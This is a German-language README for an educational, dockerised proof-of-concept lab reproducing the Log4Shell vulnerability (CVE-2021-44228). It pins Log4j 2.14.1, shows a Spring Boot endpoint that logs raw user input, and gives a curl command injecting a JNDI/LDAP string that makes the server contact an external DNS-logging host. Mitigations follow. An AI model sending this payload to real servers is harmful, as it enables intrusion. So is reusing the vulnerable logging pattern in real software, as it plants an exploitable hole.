
Technische Untersuchung und Umsetzung einer Testumgebung für die Apache-Log4j-Schwachstelle (CVE-2021-44228). Enthält ein dockerisiertes Proof of Concept (PoC) und einen Vorschlag zur Aktualisierung der PSSI. Für ein Praktikumsziel.
Dieses Projekt ist eine kontrollierte Testumgebung, mit der sich die kritische Schwachstelle Log4Shell (CVE-2021-44228) in der Bibliothek Apache Log4j reproduzieren und verstehen lässt.
Secutp1/
├── Dockerfile # Construction de l'image Docker
├── pom.xml # Dépendances Maven (Log4j 2.14.1 vulnérable)
├── README.md # Ce fichier
└── src/
└── main/
└── java/
└── com/
└── example/
└── VulnerableApplication.java # Application Spring Boot vulnérable
Demonstrieren, wie ein Angreifer die Schwachstelle CVE-2021-44228 ausnutzen kann, um einen Server dazu zu zwingen, eine nicht autorisierte ausgehende Netzwerkverbindung herzustellen, indem er lediglich eine bösartige Zeichenkette sendet.
pom.xml)Die Datei pom.xml erzwingt die Verwendung von Log4j 2.14.1, einer Version, die älter ist als der Sicherheitspatch:
<log4j2.version>2.14.1</log4j2.version>
Diese Version enthält die standardmäßig aktivierte Klasse JndiLookup, die die Wurzel des Problems ist.
VulnerableApplication.java)Die Anwendung stellt einen REST-Webdienst bereit. Die Schwachstelle befindet sich in der Methode index:
@GetMapping("/")
public String index(@RequestParam(name = "input", required = false, defaultValue = "test") String input) {
// LA LIGNE VULNÉRABLE :
logger.info("Requête reçue, input : " + input);
return "Bonjour ! Votre input a été loggé : " + input;
}
Problem: Die Anwendung übernimmt einen Benutzerparameter (input) und übergibt ihn ohne jegliche Filterung direkt an logger.info(). Log4j interpretiert den Inhalt daraufhin als potenziellen Befehl.
Dockerfile)Das Dockerfile verwendet einen Build in zwei Schritten:
maven:3.8.4-openjdk-11)eclipse-temurin:11-jre💡 Die Verwendung von Java 11 ist relevant, da neuere Versionen das Laden entfernter Klassen standardmäßig einschränken.
Die Ausnutzung beruht auf der JNDI-Injektion (Java Naming and Directory Interface):
${jndi:protocole://url} in den LogsStellen Sie sicher, dass sich die folgenden Dateien im selben Ordner befinden:
Dockerfilepom.xmlsrc/main/java/com/example/VulnerableApplication.javadocker build -t vulnerable-app .
Dieser Befehl lädt die Maven-Abhängigkeiten (Log4j 2.14.1) herunter und erstellt das Image.
docker run -p 8080:8080 --name demo-log4j vulnerable-app
Die Anwendung lauscht nun auf Port 8080.
Besuchen Sie einen DNS-Logging-Dienst:
Kopieren Sie die bereitgestellte Adresse (z. B. mon-test.dnslog.cn)
Öffnen Sie ein neues Terminal und führen Sie den folgenden Befehl aus:
curl "http://localhost:8080/?input=\${jndi:ldap://mon-test.dnslog.cn/a}"
📝 Hinweis: Das Zeichen
\dient dazu, das$im Terminal zu escapen.
Kehren Sie zur dnslog-Website zurück. Sie werden sehen, wie eine DNS-Anfrage erscheint, was bestätigt, dass der Server den injizierten Code ausgeführt hat.
Der Server hat eine ausgehende Verbindung zu einer externen Maschine hergestellt, nur indem er eine Benutzeranfrage protokolliert hat.
In einem realen Szenario hätte diese Verbindung Folgendes ermöglicht:
So beheben Sie diese Schwachstelle:
-Dlog4j2.formatMsgNoLookups=trueDieses Projekt wird ausschließlich zu Bildungszwecken bereitgestellt. Verwenden Sie es verantwortungsvoll und ethisch.
| Schritt | Aktion |
|---|
| 1 | Die Java-Anwendung empfängt die HTTP-Anfrage |
| 2 | Die Zeile logger.info(...) verarbeitet den Parameter input |
| 3 | Log4j erkennt die Syntax ${jndi:...} |
| 4 | Log4j führt die LDAP-Auflösung zum entfernten Server aus |
| 5 | Eine DNS-Anfrage erscheint auf der DNSLog-Oberfläche |